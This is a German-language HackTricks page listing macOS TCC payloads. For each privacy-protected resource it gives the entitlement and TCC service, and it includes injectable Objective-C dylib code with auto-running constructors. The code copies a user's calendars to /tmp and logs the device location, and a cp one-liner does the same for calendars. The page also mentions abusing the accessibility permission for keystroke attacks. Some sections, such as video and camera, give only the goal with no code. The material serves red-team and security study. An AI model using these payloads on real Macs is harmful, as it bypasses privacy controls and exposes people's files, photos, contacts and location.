macOS TCC Payloads

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Desktop

  • Berechtigung: Keine

  • TCC: kTCCServiceSystemPolicyDesktopFolder

Kopieren Sie $HOME/Desktop nach /tmp/desktop.

Dokumente

  • Berechtigung: Keine

  • TCC: kTCCServiceSystemPolicyDocumentsFolder

Kopiere $HOME/Documents nach /tmp/documents.

Downloads

  • Berechtigung: Keine

  • TCC: kTCCServiceSystemPolicyDownloadsFolder

Kopiere $HOME/Downloads nach /tmp/downloads.

Fotos-Bibliothek

  • Berechtigung: com.apple.security.personal-information.photos-library

  • TCC: kTCCServicePhotos

Kopiere $HOME/Pictures/Photos Library.photoslibrary nach /tmp/photos.

Kontakte

  • Berechtigung: com.apple.security.personal-information.addressbook

  • TCC: kTCCServiceAddressBook

Kopiere $HOME/Library/Application Support/AddressBook nach /tmp/contacts.

Kalender

  • Berechtigung: com.apple.security.personal-information.calendars

  • TCC: kTCCServiceCalendar

Kopiere $HOME/Library/Calendars nach /tmp/calendars.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopieren Sie $HOME/Library/Calendars nach /tmp/calendars.

cp -r "$HOME/Library/Calendars" "/tmp/calendars"

Nehmen Sie ein 3-Sekunden-Video auf und speichern Sie es in /tmp/recording.mov.

Kamera

  • Berechtigung: com.apple.security.device.camera

  • TCC: kTCCServiceCamera

Nehmen Sie ein Foto auf und speichern Sie es unter /tmp/photo.jpg.

Standort

Damit eine App den Standort erhalten kann, müssen die Standortdienste (unter Datenschutz & Sicherheit) aktiviert sein, sonst kann die App nicht darauf zugreifen.

  • Berechtigung: com.apple.security.personal-information.location

  • TCC: Gewährt in /var/db/locationd/clients.plist

Schreibe den Standort in /tmp/logs.txt

#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *location = [locations lastObject];
NSLog(@"Current location: %@", location);
exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
NSLog(@"Error getting location: %@", error);
exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSLog(@"Getting location");
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
locationManager.delegate = delegate;

[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
[locationManager startUpdatingLocation];

NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
while (true) {
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

NSLog(@"Location completed successfully.");
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Barrierefreiheit ist eine sehr mächtige Berechtigung, die man auch auf andere Weise missbrauchen kann. Zum Beispiel könnte man den Tastenanschlagangriff direkt darüber ausführen, ohne Systemereignisse aufrufen zu müssen.

Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated